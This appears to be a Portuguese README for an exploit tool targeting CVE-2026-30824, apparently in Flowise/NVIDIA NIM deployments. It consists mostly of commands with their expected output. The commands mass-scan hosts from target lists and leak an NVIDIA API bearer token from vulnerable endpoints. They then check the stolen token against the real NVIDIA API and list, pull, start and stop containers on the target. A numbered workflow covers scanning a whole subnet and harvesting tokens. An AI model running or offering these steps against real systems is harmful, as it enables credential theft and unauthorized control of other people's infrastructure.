# Clone ou baixe o script
git clone <repository>
cd cve-2026-30824

# Instale as dependências
pip install -r requirements.txt
# ou
pip install requests

# Verifica se um único alvo é vulnerável
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check

# Saída esperada (VULNERÁVEL):
# [+] Alvo parece VULNERÁVEL (HTTP 200)
#     Resposta: {...}

# Crie targets.txt com uma URL por linha
cat > targets.txt << EOF
http://192.168.1.100:3000
http://192.168.1.101:3000
http://192.168.1.102:3000
EOF

# Varra todos os alvos (modo rápido, sem prompts)
python3 CVE-2026-30824.py -f targets.txt --scan-only

# Saída resumida esperada:
# ============================================================
# [*] Resumo da Varredura
# ============================================================
# [+] VULNERÁVEIS: 2
#     ✓ http://192.168.1.100:3000
#     ✓ http://192.168.1.101:3000
# [-] CORRIGIDOS: 1
#     ✗ http://192.168.1.102:3000

# Vaza o token da API NVIDIA do endpoint vulnerável
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token

# Saída esperada:
# [*] Tentando vazar token da API NVIDIA...
# [+] Token da API NVIDIA: eyJ0eXAiOiJKV1QiLCJhbGc...
# [+] Tipo de Token: Bearer
# [+] Expira em: 3600s

# Verifica se um token vazado funciona contra a API NVIDIA real
python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..."

# Saída esperada:
# [*] Validando token contra a API NVIDIA...
# [+] Token VÁLIDO! Acesso a 45 modelos NVIDIA NIM.
#     - mistralai/mistral-7b-instruct-v0.1
#     - meta-llama/llama2-70b
#     - (...)

# Enumera contêineres no alvo
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers

# Saída esperada:
# [*] Listando contêineres em execução...
# [+] HTTP 200
# [
#   {
#     "id": "abc123xyz",
#     "names": ["flowise_nim"],
#     "image": "nvcr.io/nvidia/nim:latest",
#     "state": "running"
#   }
# ]

# Executa todas as verificações de reconhecimento no alvo vulnerável
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all

usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check]
                             [--scan-only] [--get-token]
                             [--validate-token TOKEN] [--list-containers]
                             [--get-container CONTAINER_ID]
                             [--get-image IMAGE_ID] [--pull-image IMAGE_TAG]
                             [--start-container IMAGE_TAG]
                             [--container-name CONTAINER_NAME]
                             [--stop-container CONTAINER_ID] [--preload]
                             [--all] [--timeout TIMEOUT] [--debug]

Argumentos opcionais:
  -h, --help                    Mostra esta mensagem de ajuda e sai
  -t, --target TARGET           URL do alvo (ex.: http://192.168.1.100:3000)
  -f, --targets-file FILE       Arquivo com lista de alvos (um por linha)
  
Detecção de Vulnerabilidade:
  --check                       Apenas verifica se o alvo é vulnerável
  --scan-only                   Varre alvos em busca de vulnerabilidade sem prompts
  --debug                       Mostra detalhes da requisição e respostas brutas
  
Exploração:
  --get-token                   Vaza token da API NVIDIA
  --validate-token TOKEN        Valida token vazado contra a API NVIDIA
  --list-containers             Lista contêineres NIM em execução
  --get-container CONTAINER_ID  Obtém detalhes do contêiner
  --get-image IMAGE_ID          Obtém detalhes da imagem
  --pull-image IMAGE_TAG        Faz pull de uma imagem Docker (ex.: nvcr.io/nvidia/nim:latest)
  --start-container IMAGE_TAG   Inicia um contêiner a partir de uma tag de imagem
  --container-name NAME         Nome para o contêiner iniciado
  --stop-container CONTAINER_ID Para um contêiner em execução
  --preload                     Aciona endpoint de pré-carregamento de recursos
  --all                         Executa todas as verificações de reconhecimento
  
Avançado:
  --timeout SECONDS             Timeout de requisição em segundos (padrão: 15)

# 1. Varre toda a sub-rede em busca de instâncias vulneráveis
python3 CVE-2026-30824.py -f internal_ips.txt --scan-only

# 2. Para cada alvo vulnerável, extrai o token
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token

# 3. Valida o impacto do token
python3 CVE-2026-30824.py --validate-token "<token-extraido>"

# Verifica a vulnerabilidade e demonstra o raio de impacto completo
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all

# Isso irá:
# 1. Verificar a vulnerabilidade
# 2. Extrair o token da API NVIDIA
# 3. Validar o token contra a API NVIDIA
# 4. Listar contêineres em execução
# 5. Mostrar enumeração de recursos

# Monitora um alvo periodicamente (via cron ou agendador)
python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log

# Teste a conectividade
curl -v http://192.168.1.100:3000/

# Aumente o timeout
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check --timeout 30

# Adicione explicitamente porta e protocolo
python3 CVE-2026-30824.py -t https://192.168.1.100:3000 --check